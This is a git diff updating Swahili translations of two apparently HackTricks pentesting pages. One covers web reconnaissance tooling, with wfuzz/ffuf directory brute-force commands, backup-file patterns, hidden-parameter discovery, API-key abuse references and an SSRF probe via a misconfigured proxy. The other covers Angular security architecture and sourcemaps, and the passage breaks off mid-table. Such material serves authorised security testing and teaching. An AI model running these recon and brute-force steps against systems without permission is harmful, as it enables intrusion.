[**Sourcemapper**](https://github.com/denandz/sourcemapper): Chombo ambacho kwa URL ya .js.map kitakupa msimbo wa JS ulioimarishwa. +- [**Javascript Parsing**](https://github.com/xnl-h4ck3r/burp-extensions): Kiendelezi cha Burp kutafuta njia na params katika faili za JS. +- [**Sourcemapper**](https://github.com/denandz/sourcemapper): Chombo ambacho kwa kutolewa kwa URL ya .js.map kitakupa msimbo wa JS ulioimarishwa. - [**xnLinkFinder**](https://github.com/xnl-h4ck3r/xnLinkFinder): Hii ni chombo kinachotumika kugundua mwisho kwa lengo fulani. - [**waymore**](https://github.com/xnl-h4ck3r/waymore)**:** Gundua viungo kutoka kwa mashine ya wayback (pia kupakua majibu katika wayback na kutafuta viungo zaidi). - [**HTTPLoot**](https://github.com/redhuntlabs/HTTPLoot) (go): Crawl (hata kwa kujaza fomu) na pia pata habari nyeti kwa kutumia regex maalum. -- [**SpiderSuite**](https://github.com/3nock/SpiderSuite): Spider Suite ni kivinjari cha wavuti cha GUI chenye vipengele vingi vilivyoundwa kwa ajili ya wataalamu wa usalama wa mtandao. -- [**jsluice**](https://github.com/BishopFox/jsluice) (go): Ni pakiti ya Go na [chombo cha amri](https://github.com/BishopFox/jsluice/blob/main/cmd/jsluice) cha kutoa URLs, njia, siri, na data nyingine za kuvutia kutoka kwa msimbo wa chanzo wa JavaScript. -- [**ParaForge**](https://github.com/Anof-cyber/ParaForge): ParaForge ni kiendelezi rahisi cha **Burp Suite** ili **kutoa parameta na mwisho** kutoka kwa ombi ili kuunda orodha ya maneno ya kawaida kwa fuzzing na orodha. +- [**SpiderSuite**](https://github.com/3nock/SpiderSuite): Spider Suite ni kivinjari cha wavuti cha GUI chenye vipengele vingi vilivyoundwa kwa wataalamu wa usalama wa mtandao. +- [**jsluice**](https://github.com/BishopFox/jsluice) (go): Ni pakiti ya Go na [chombo cha amri](https://github.com/BishopFox/jsluice/blob/main/cmd/jsluice) kwa kutolewa kwa URLs, njia, siri, na data nyingine za kuvutia kutoka kwa msimbo wa chanzo wa JavaScript. +- [**ParaForge**](https://github.com/Anof-cyber/ParaForge): ParaForge ni kiendelezi rahisi cha **Burp Suite** kwa **kutolewa kwa paramters na mwisho** kutoka kwa ombi ili kuunda orodha ya maneno ya kawaida kwa fuzzing na orodha. - [**katana**](https://github.com/projectdiscovery/katana) (go): Chombo bora kwa hili. - [**Crawley**](https://github.com/s0rg/crawley) (go): Chapisha kila kiungo ambacho kinaweza kupatikana. @@ -240,7 +240,7 @@ Zana: - [**Feroxbuster**](https://github.com/epi052/feroxbuster) **- Haraka, inasaidia utafutaji wa kurudiwa.** - [**wfuzz**](https://github.com/xmendez/wfuzz) `wfuzz -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt https://domain.com/api/FUZZ` - [**ffuf** ](https://github.com/ffuf/ffuf)- Haraka: `ffuf -c -w /usr/share/wordlists/dirb/big.txt -u http://10.10.10.10/FUZZ` -- [**uro**](https://github.com/s0md3v/uro) (python): Hii si spider lakini ni chombo ambacho kwa orodha ya URLs zilizopatikana kitafuta "URLs zilizojirudia". +- [**uro**](https://github.com/s0md3v/uro) (python): Hii si spider lakini ni chombo ambacho kwa kutolewa kwa orodha ya URLs zilizopatikana kitafuta "URLs zilizojirudia". - [**Scavenger**](https://github.com/0xDexter0us/Scavenger): Kiendelezi cha Burp kuunda orodha ya directories kutoka kwa historia ya burp ya kurasa tofauti. - [**TrashCompactor**](https://github.com/michael1026/trashcompactor): Ondoa URLs zenye kazi zilizojirudia (kulingana na uagizaji wa js). - [**Chamaleon**](https://github.com/iustin24/chameleon): Inatumia wapalyzer kugundua teknolojia zinazotumika na kuchagua orodha za maneno za kutumia. @@ -264,20 +264,20 @@ Zana: - _/usr/share/wordlists/dirb/big.txt_ - _/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt_ -_Kumbuka kwamba kila wakati directory mpya inagunduliwa wakati wa brute-forcing au spidering, inapaswa kufanywa Brute-Forced._ +_Kumbuka kwamba kila wakati directory mpya inapatikana wakati wa brute-forcing au spidering, inapaswa kufanywa Brute-Forced._ ### Nini cha kuangalia kwenye kila faili lililopatikana - [**Broken link checker**](https://github.com/stevenvachon/broken-link-checker): Pata viungo vilivyovunjika ndani ya HTMLs ambavyo vinaweza kuwa na hatari ya kuchukuliwa. -- **File Backups**: Mara tu unapokuwa umepata faili zote, tafuta nakala za faili zote zinazotekelezeka ("_.php_", "_.aspx_"...). Mabadiliko ya kawaida ya kutaja nakala ni: _file.ext\~, #file.ext#, \~file.ext, file.ext.bak, file.ext.tmp, file.ext.old, file.bak, file.tmp na file.old._ Unaweza pia kutumia chombo [**bfac**](https://github.com/mazen160/bfac) **au** [**backup-gen**](https://github.com/Nishantbhagat57/backup-gen)**.** -- **Gundua parameta mpya**: Unaweza kutumia zana kama [**Arjun**](https://github.com/s0md3v/Arjun)**,** [**parameth**](https://github.com/maK-/parameth)**,** [**x8**](https://github.com/sh1yo/x8) **na** [**Param Miner**](https://github.com/PortSwigger/param-miner) **kugundua parameta zilizofichwa. Ikiwa unaweza, unaweza kujaribu kutafuta** parameta zilizofichwa kwenye kila faili la wavuti linalotekelezeka. +- **File Backups**: Mara tu unapokuwa umepata faili zote, angalia nakala za faili zote zinazotekelezeka ("_.php_", "_.aspx_"...). Mabadiliko ya kawaida ya kutaja nakala ni: _file.ext\~, #file.ext#, \~file.ext, file.ext.bak, file.ext.tmp, file.ext.old, file.bak, file.tmp na file.old._ Unaweza pia kutumia chombo [**bfac**](https://github.com/mazen160/bfac) **au** [**backup-gen**](https://github.com/Nishantbhagat57/backup-gen)**.** +- **Gundua vigezo vipya**: Unaweza kutumia zana kama [**Arjun**](https://github.com/s0md3v/Arjun)**,** [**parameth**](https://github.com/maK-/parameth)**,** [**x8**](https://github.com/sh1yo/x8) **na** [**Param Miner**](https://github.com/PortSwigger/param-miner) **kugundua vigezo vilivyofichwa. Ikiwa unaweza, unaweza kujaribu kutafuta** vigezo vilivyofichwa kwenye kila faili ya wavuti inayotekelezeka. - _Arjun orodha zote za maneno za kawaida:_ [https://github.com/s0md3v/Arjun/tree/master/arjun/db](https://github.com/s0md3v/Arjun/tree/master/arjun/db) - _Param-miner “params” :_ [https://github.com/PortSwigger/param-miner/blob/master/resources/params](https://github.com/PortSwigger/param-miner/blob/master/resources/params) - _Assetnote “parameters_top_1m”:_ [https://wordlists.assetnote.io/](https://wordlists.assetnote.io) - _nullenc0de “params.txt”:_ [https://gist.github.com/nullenc0de/9cb36260207924f8e1787279a05eb773](https://gist.github.com/nullenc0de/9cb36260207924f8e1787279a05eb773) -- **Maoni:** Angalia maoni ya faili zote, unaweza kupata **akili** au **ufunctionality iliyofichwa**. -- Ikiwa unacheza **CTF**, hila "ya kawaida" ni **kuficha** **habari** ndani ya maoni upande wa **kulia** wa **ukurasa** (ukitumia **mifumo** mingi ili usione data ikiwa unafungua msimbo wa chanzo na kivinjari). Uwezekano mwingine ni kutumia **michoro kadhaa mipya** na **kuficha habari** katika maoni kwenye **chini** ya ukurasa wa wavuti. -- **API keys**: Ikiwa **unapata funguo zozote za API** kuna mwongozo unaoelekeza jinsi ya kutumia funguo za API za majukwaa tofauti: [**keyhacks**](https://github.com/streaak/keyhacks)**,** [**zile**](https://github.com/xyele/zile.git)**,** [**truffleHog**](https://github.com/trufflesecurity/truffleHog)**,** [**SecretFinder**](https://github.com/m4ll0k/SecretFinder)**,** [**RegHex**]()**,** [**DumpsterDive**](https://github.com/securing/DumpsterDiver)**,** [**EarlyBird**](https://github.com/americanexpress/earlybird) +- **Maoni:** Angalia maoni ya faili zote, unaweza kupata **akili** au **kazi zilizofichwa**. +- Ikiwa unacheza **CTF**, hila "ya kawaida" ni **kuficha** **habari** ndani ya maoni upande wa **kulia** wa **ukurasa** (ukitumia **mifumo** ya **maelfu** ili usione data ikiwa unafungua msimbo wa chanzo na kivinjari). Uwezekano mwingine ni kutumia **michoro kadhaa mipya** na **kuficha habari** katika maoni kwenye **chini** ya ukurasa wa wavuti. +- **API keys**: Ikiwa unapata **funguo zozote za API** kuna mwongozo unaoelekeza jinsi ya kutumia funguo za API za majukwaa tofauti: [**keyhacks**](https://github.com/streaak/keyhacks)**,** [**zile**](https://github.com/xyele/zile.git)**,** [**truffleHog**](https://github.com/trufflesecurity/truffleHog)**,** [**SecretFinder**](https://github.com/m4ll0k/SecretFinder)**,** [**RegHex**]()**,** [**DumpsterDive**](https://github.com/securing/DumpsterDiver)**,** [**EarlyBird**](https://github.com/americanexpress/earlybird) - Funguo za Google API: Ikiwa unapata funguo zozote za API zinazoonekana kama **AIza**SyA-qLheq6xjDiEIRisP_ujUseYLQCHUjik unaweza kutumia mradi [**gmapapiscanner**](https://github.com/ozguralp/gmapsapiscanner) kuangalia ni APIs zipi funguo hiyo inaweza kufikia. - **S3 Buckets**: Wakati wa spidering angalia ikiwa **subdomain** au kiungo chochote kinahusiana na **S3 bucket**. Katika kesi hiyo, [**angalia** **idhini** ya ndoo](buckets/index.html). @@ -290,15 +290,15 @@ _Kumbuka kwamba kila wakati directory mpya inagunduliwa wakati wa brute-forcing - Angalia **viungo** kwa faili nyingine ndani ya **CSS**. - [Ikiwa unapata faili ya _**.git**_ habari fulani inaweza kutolewa](git.md) - Ikiwa unapata _**.env**_ habari kama funguo za api, nywila za db na habari nyingine zinaweza kupatikana. -- Ikiwa unapata **API endpoints** unapaswa pia kujaribu [hizi](web-api-pentesting.md). Hizi si faili, lakini labda "zinaweza kuonekana" kama hizo. -- **Faili za JS**: Katika sehemu ya spidering zana kadhaa ambazo zinaweza kutoa njia kutoka kwa faili za JS zilitajwa. Pia, itakuwa ya kuvutia **kufuatilia kila faili la JS lililopatikana**, kwani katika baadhi ya matukio, mabadiliko yanaweza kuashiria kuwa udhaifu wa uwezekano umeingizwa katika msimbo. Unaweza kutumia kwa mfano [**JSMon**](https://github.com/robre/jsmon)**.** -- Unapaswa pia kuangalia faili za JS zilizogunduliwa na [**RetireJS**](https://github.com/retirejs/retire.js/) au [**JSHole**](https://github.com/callforpapers-source/jshole) ili kuona ikiwa ni hatari. +- Ikiwa unapata **API endpoints** unapaswa pia kujaribu [hizi](web-api-pentesting.md). Hizi si faili, lakini labda "zitakavyoonekana" kama hizo. +- **Faili za JS**: Katika sehemu ya spidering zana kadhaa ambazo zinaweza kutoa njia kutoka kwa faili za JS zilitajwa. Pia, itakuwa ya kuvutia **kufuatilia kila faili ya JS iliyopatikana**, kwani katika baadhi ya matukio, mabadiliko yanaweza kuashiria kuwa udhaifu wa uwezekano umeingizwa katika msimbo. Unaweza kutumia kwa mfano [**JSMon**](https://github.com/robre/jsmon)**.** +- Unapaswa pia kuangalia faili za JS zilizogunduliwa na [**RetireJS**](https://github.com/retirejs/retire.js/) au [**JSHole**](https://github.com/callforpapers-source/jshole) ili kuona ikiwa ina udhaifu. - **Javascript Deobfuscator na Unpacker:** [https://lelinhtinh.github.io/de4js/](https://lelinhtinh.github.io/de4js/), [https://www.dcode.fr/javascript-unobfuscator](https://www.dcode.fr/javascript-unobfuscator) - **Javascript Beautifier:** [http://jsbeautifier.org/](https://beautifier.io), [http://jsnice.org/](http://jsnice.org) - **JsFuck deobfuscation** (javascript na herufi:"\[]!+" [https://enkhee-osiris.github.io/Decoder-JSFuck/](https://enkhee-osiris.github.io/Decoder-JSFuck/)) - [**TrainFuck**](https://github.com/taco-c/trainfuck)**:** `+72.+29.+7..+3.-67.-12.+55.+24.+3.-6.-8.-67.-23.` - Katika matukio kadhaa, utahitaji **kuelewa kanuni za kawaida** zinazotumika. Hii itakuwa na manufaa: [https://regex101.com/](https://regex101.com) au [https://pythonium.net/regex](https://pythonium.net/regex) -- Unaweza pia **kufuatilia faili ambapo fomu zilipatikana**, kwani mabadiliko katika parameta au kuonekana kwa fomu mpya kunaweza kuashiria uwezekano wa kazi mpya yenye udhaifu. +- Unaweza pia **kufuatilia faili ambapo fomu zilipatikana**, kwani mabadiliko katika parameter au kuonekana kwa fomu mpya kunaweza kuashiria kazi mpya inayoweza kuwa na udhaifu. **403 Forbidden/Basic Authentication/401 Unauthorized (bypass)** @@ -308,7 +308,7 @@ _Kumbuka kwamba kila wakati directory mpya inagunduliwa wakati wa brute-forcing **502 Proxy Error** -Ikiwa ukurasa wowote **unajibu** na **nambari** hiyo, labda ni **proxy iliyo na makosa**. **Ikiwa utatuma ombi la HTTP kama: `GET https://google.com HTTP/1.1`** (pamoja na kichwa cha mwenyeji na vichwa vingine vya kawaida), **proxy** itajaribu **kufikia** _**google.com**_ **na utakuwa umepata** SSRF. +Ikiwa ukurasa wowote **unajibu** na **nambari** hiyo, labda ni **proxy iliyo na makosa**. **Ikiwa unatumia ombi la HTTP kama: `GET https://google.com HTTP/1.1`** (pamoja na kichwa cha mwenyeji na vichwa vingine vya kawaida), **proxy** itajaribu **kufikia** _**google.com**_ **na utakuwa umepata** SSRF. **NTLM Authentication - Info disclosure** @@ -318,11 +318,11 @@ Unaweza **kujiandaa** hii kwa kutumia **nmap plugin** "_http-ntlm-info.nse_". **HTTP Redirect (CTF)** -Inawezekana **kweka maudhui** ndani ya **Redirection**. Maudhui haya **hayataonyeshwa kwa mtumiaji** (kama kivinjari kitatekeleza redirection) lakini kitu kinaweza kuwa **kimefichwa** humo. +Inawezekana **kweka maudhui** ndani ya **Redirection**. Maudhui haya **hayataonyeshwa kwa mtumiaji** (kama kivinjari kitatekeleza redirection) lakini kitu kinaweza kuwa **kimefichwa** huko. -### Web Vulnerabilities Checking +### Kuangalia Udhaifu wa Wavuti -Sasa kwamba orodha kamili ya programu ya wavuti imefanywa ni wakati wa kuangalia uwezekano wa udhaifu mwingi. Unaweza kupata orodha ya ukaguzi hapa: +Sasa kwamba orodha kamili ya programu ya wavuti imefanywa, ni wakati wa kuangalia udhaifu wengi wa uwezekano. Unaweza kupata orodha ya kuangalia hapa: {{#ref}} ../../pentesting-web/web-vulnerabilities-methodology.md @@ -334,11 +334,11 @@ Pata maelezo zaidi kuhusu udhaifu wa wavuti katika: - [https://kennel209.gitbooks.io/owasp-testing-guide-v4/content/en/web_application_security_testing/configuration_and_deployment_management_testing.html](https://kennel209.gitbooks.io/owasp-testing-guide-v4/content/en/web_application_security_testing/configuration_and_deployment_management_testing.html) - [https://owasp-skf.gitbook.io/asvs-write-ups/kbid-111-client-side-template-injection](https://owasp-skf.gitbook.io/asvs-write-ups/kbid-111-client-side-template-injection) -### Monitor Pages for changes +### Fuata Kurasa kwa Mabadiliko Unaweza kutumia zana kama [https://github.com/dgtlmoon/changedetection.io](https://github.com/dgtlmoon/changedetection.io) kufuatilia kurasa kwa mabadiliko ambayo yanaweza kuingiza udhaifu. -### HackTricks Automatic Commands +### HackTricks Amri za Otomatiki ``` Protocol_Name: Web #Protocol Abbreviation if there is one. Port_Number: 80,443 #Comma separated if there is more than one. diff --git a/src/network-services-pentesting/pentesting-web/angular.md b/src/network-services-pentesting/pentesting-web/angular.md index 614326206..8449e740e 100644 --- a/src/network-services-pentesting/pentesting-web/angular.md +++ b/src/network-services-pentesting/pentesting-web/angular.md @@ -9,12 +9,12 @@ Checklist [from here](https://lsgeurope.com/post/angular-security-checklist). * [ ] Ingizo la mtumiaji lisiloaminika kila wakati linaingizwa au kusafishwa kabla ya kutumika katika templeti * [ ] Mtumiaji hana udhibiti juu ya templeti za upande wa seva au upande wa mteja * [ ] Ingizo la mtumiaji lisiloaminika linapaswa kusafishwa kwa kutumia muktadha sahihi wa usalama kabla ya kuaminiwa na programu -* [ ] Mbinu za `BypassSecurity*` hazitumiwi na ingizo lisiloaminika -* [ ] Ingizo la mtumiaji lisiloaminika halipitishwi kwa madarasa ya Angular kama vile `ElementRef`, `Renderer2` na `Document`, au vyanzo vingine vya JQuery/DOM +* [ ] `BypassSecurity*` mbinu hazitumiwi na ingizo lisiloaminika +* [ ] Ingizo la mtumiaji lisiloaminika halipitishwi kwa madarasa ya Angular kama `ElementRef`, `Renderer2` na `Document`, au vyanzo vingine vya JQuery/DOM ## What is Angular -Angular ni **nguzo** na **chanzo wazi** cha mfumo wa mbele kinachoshughulikiwa na **Google**. Inatumia **TypeScript** kuboresha usomaji wa msimbo na ufuatiliaji wa makosa. Pamoja na mitambo thabiti ya usalama, Angular inazuia udhaifu wa kawaida wa upande wa mteja kama vile **XSS** na **mwelekeo wazi**. Inaweza kutumika pia kwenye **seva**, hivyo kuzingatia usalama ni muhimu kutoka **pande zote**. +Angular ni **nguzo** na **chanzo wazi** cha mfumo wa mbele kinachoshughulikiwa na **Google**. Inatumia **TypeScript** kuboresha usomaji wa msimbo na ufuatiliaji wa makosa. Pamoja na mitambo yenye nguvu ya usalama, Angular inazuia udhaifu wa kawaida wa upande wa mteja kama **XSS** na **mwelekeo wazi**. Inaweza kutumika pia kwenye **seva**, hivyo kuzingatia usalama ni muhimu kutoka **pande zote**. ## Framework architecture @@ -39,13 +39,13 @@ my-workspace/ ├── angular.json #provides workspace-wide and project-specific configuration defaults └── tsconfig.json #provides the base TypeScript configuration for projects in the workspace ``` -Kulingana na nyaraka, kila programu ya Angular ina angalau kipengele kimoja, kipengele cha mzizi (`AppComponent`) ambacho kinachanganya hierarchi ya vipengele na DOM. Kila kipengele kinafafanua darasa ambalo lina data na mantiki ya programu, na kinahusishwa na kiolezo cha HTML ambacho kinafafanua mtazamo wa kuonyeshwa katika mazingira ya lengo. Mshereheshaji `@Component()` unatambua darasa lililo chini yake kama kipengele, na unatoa kiolezo na metadata maalum ya kipengele. `AppComponent` imefafanuliwa katika faili `app.component.ts`. +Kulingana na nyaraka, kila programu ya Angular ina angalau kipengele kimoja, kipengele cha mzizi (`AppComponent`) ambacho kinachanganya hierarchi ya vipengele na DOM. Kila kipengele kinafafanua darasa ambalo lina data na mantiki ya programu, na kinahusishwa na kiolezo cha HTML ambacho kinafafanua mtazamo wa kuonyeshwa katika mazingira ya lengo. Decorator ya `@Component()` inatambua darasa lililo chini yake kama kipengele, na inatoa kiolezo na metadata maalum ya kipengele. `AppComponent` imefafanuliwa katika faili ya `app.component.ts`. -NgModules za Angular zinatangaza muktadha wa uundaji wa seti ya vipengele ambayo imejitolea kwa eneo la programu, mtiririko wa kazi, au seti ya uwezo inayohusiana kwa karibu. Kila programu ya Angular ina moduli ya mzizi, ambayo kwa kawaida inaitwa `AppModule`, ambayo inatoa mekanizma ya kuanzisha inayozindua programu. Programu kwa kawaida ina moduli nyingi za kazi. `AppModule` imefafanuliwa katika faili `app.module.ts`. +NgModules za Angular zinatangaza muktadha wa uundaji wa seti ya vipengele ambayo imejitolea kwa eneo la programu, mtiririko wa kazi, au seti ya uwezo inayohusiana kwa karibu. Kila programu ya Angular ina moduli ya mzizi, ambayo kwa kawaida inaitwa `AppModule`, ambayo inatoa mekanizma ya kuanzisha inayozindua programu. Programu kwa kawaida ina moduli nyingi za kazi. `AppModule` imefafanuliwa katika faili ya `app.module.ts`. -NgModule ya Angular `Router` inatoa huduma inayokuruhusu kufafanua njia ya urambazaji kati ya majimbo tofauti ya programu na hierarchi za mtazamo katika programu yako. `RouterModule` imefafanuliwa katika faili `app-routing.module.ts`. +NgModule ya Angular `Router` inatoa huduma inayokuruhusu kufafanua njia ya urambazaji kati ya majimbo tofauti ya programu na hierarchi za mtazamo katika programu yako. `RouterModule` imefafanuliwa katika faili ya `app-routing.module.ts`. -Kwa data au mantiki ambayo haihusiani na mtazamo maalum, na ambayo unataka kushiriki kati ya vipengele, unaunda darasa la huduma. Ufafanuzi wa darasa la huduma unatanguliwa mara moja na mshereheshaji `@Injectable()`. Mshereheshaji unatoa metadata inayoruhusu watoa huduma wengine kuingizwa kama utegemezi katika darasa lako. Uingizaji wa utegemezi (DI) unakuruhusu kuweka darasa lako la kipengele kuwa nyembamba na bora. Haziipati data kutoka kwa seva, kuthibitisha ingizo la mtumiaji, au kuandika moja kwa moja kwenye console; zinaweka kazi hizo kwa huduma. +Kwa data au mantiki ambayo haihusiani na mtazamo maalum, na unataka kushiriki kati ya vipengele, unaunda darasa la huduma. Ufafanuzi wa darasa la huduma unatanguliwa mara moja na decorator ya `@Injectable()`. Decorator inatoa metadata inayoruhusu watoa huduma wengine kuingizwa kama utegemezi katika darasa lako. Uingizaji wa utegemezi (DI) unakuruhusu kuweka darasa lako la kipengele kuwa nyembamba na bora. Haziipati data kutoka kwa seva, kuthibitisha pembejeo za mtumiaji, au kuandika moja kwa moja kwenye console; zinapeleka kazi hizo kwa huduma. ## Mipangilio ya sourcemap @@ -58,34 +58,34 @@ Msingi wa Angular unatafsiri faili za TypeScript kuwa msimbo wa JavaScript kwa k "hidden": false } ``` -Kwa ujumla, faili za sourcemap hutumiwa kwa madhumuni ya urekebishaji kwani zinachora faili zilizotengenezwa kwa faili zao za asili. Hivyo, haitashauriwa kuzitumia katika mazingira ya uzalishaji. Ikiwa sourcemaps zimewezeshwa, inaboresha uelewa na kusaidia katika uchambuzi wa faili kwa kurudisha hali ya asili ya mradi wa Angular. Hata hivyo, ikiwa zimezimwa, mtaftaji bado anaweza kuchambua faili ya JavaScript iliyokusanywa kwa mikono kwa kutafuta mifumo ya kupinga usalama. +Kwa ujumla, faili za sourcemap hutumiwa kwa madhumuni ya ufuatiliaji kwani zinachora faili zilizotengenezwa kwa faili zao za asili. Hivyo, haitashauriwa kuzitumia katika mazingira ya uzalishaji. Ikiwa sourcemaps zimewezeshwa, inaboresha uelewa na kusaidia katika uchambuzi wa faili kwa kurudisha hali ya asili ya mradi wa Angular. Hata hivyo, ikiwa zimezimwa, mtaftaji bado anaweza kuchambua faili ya JavaScript iliyokusanywa kwa mikono kwa kutafuta mifumo ya kupinga usalama. Zaidi ya hayo, faili ya JavaScript iliyokusanywa na mradi wa Angular inaweza kupatikana katika zana za maendeleo za kivinjari → Vyanzo (au Debugger na Vyanzo) → \[id].main.js. Kulingana na chaguo zilizowekwa, faili hii inaweza kuwa na mstari ufuatao mwishoni `//# sourceMappingURL=[id].main.js.map` au inaweza isiwepo, ikiwa chaguo la **hidden** limewekwa kuwa **true**. Hata hivyo, ikiwa sourcemap imezimwa kwa **scripts**, upimaji unakuwa mgumu zaidi, na hatuwezi kupata faili hiyo. Aidha, sourcemap inaweza kuwezeshwa wakati wa kujenga mradi kama `ng build --source-map`. -## Data binding +## Ufunguo wa data -Kufunga kunarejelea mchakato wa mawasiliano kati ya kipengee na mtazamo wake husika. Inatumika kwa kuhamasisha data kwenda na kurudi kutoka kwa mfumo wa Angular. Data inaweza kupitishwa kwa njia mbalimbali, kama vile kupitia matukio, uhamasishaji, mali, au kupitia mekanizma ya kufunga njia mbili. Aidha, data inaweza pia kushirikiwa kati ya vipengee vinavyohusiana (uhusiano wa mzazi-na-mwana) na kati ya vipengee viwili visivyohusiana kwa kutumia kipengele cha Huduma. +Ufunguo unarejelea mchakato wa mawasiliano kati ya kipengee na mtazamo wake unaohusiana. Unatumika kwa kuhamasisha data kwenda na kurudi kutoka kwa mfumo wa Angular. Data inaweza kupitishwa kwa njia mbalimbali, kama vile kupitia matukio, uhamasishaji, mali, au kupitia mekanizma ya ufunguo wa pande mbili. Aidha, data inaweza pia kushirikiwa kati ya vipengee vinavyohusiana (uhusiano wa mzazi-na-mwana) na kati ya vipengee viwili visivyohusiana kwa kutumia kipengele cha Huduma. -Tunaweza kuainisha kufunga kwa mtiririko wa data: +Tunaweza kuainisha ufunguo kwa mtiririko wa data: -* Chanzo cha data hadi lengo la mtazamo (kinajumuisha _interpolation_, _properties_, _attributes_, _classes_ na _styles_); kinaweza kutumika kwa kutumia `[]` au `{{}}` katika kiolezo; -* Lengo la mtazamo hadi chanzo cha data (kinajumuisha _events_); kinaweza kutumika kwa kutumia `()` katika kiolezo; -* Njia Mbili; kinaweza kutumika kwa kutumia `[()]` katika kiolezo. +* Chanzo cha data hadi lengo la mtazamo (kinajumuisha _uhamasishaji_, _mali_, _sifa_, _darasa_ na _mitindo_); inaweza kutumika kwa kutumia `[]` au `{{}}` katika kiolezo; +* Lengo la mtazamo hadi chanzo cha data (kinajumuisha _matukio_); inaweza kutumika kwa kutumia `()` katika kiolezo; +* Pande Mbili; inaweza kutumika kwa kutumia `[()]` katika kiolezo. -Kufunga kunaweza kuitwa kwenye mali, matukio, na sifa, pamoja na kwenye mwanachama yeyote wa umma wa mwelekeo wa chanzo: +Ufunguo unaweza kuitwa kwenye mali, matukio, na sifa, pamoja na kwenye mwanachama yeyote wa umma wa mwelekeo wa chanzo: | AINA | LENGO | MIFANO | | --------- | -------------------------------------------------------- | -------------------------------------------------------------------- | | Mali | Mali ya kipengee, Mali ya Kipengee, Mali ya Mwelekeo | \ | | Tukio | Tukio la kipengee, Tukio la Kipengee, Tukio la Mwelekeo | \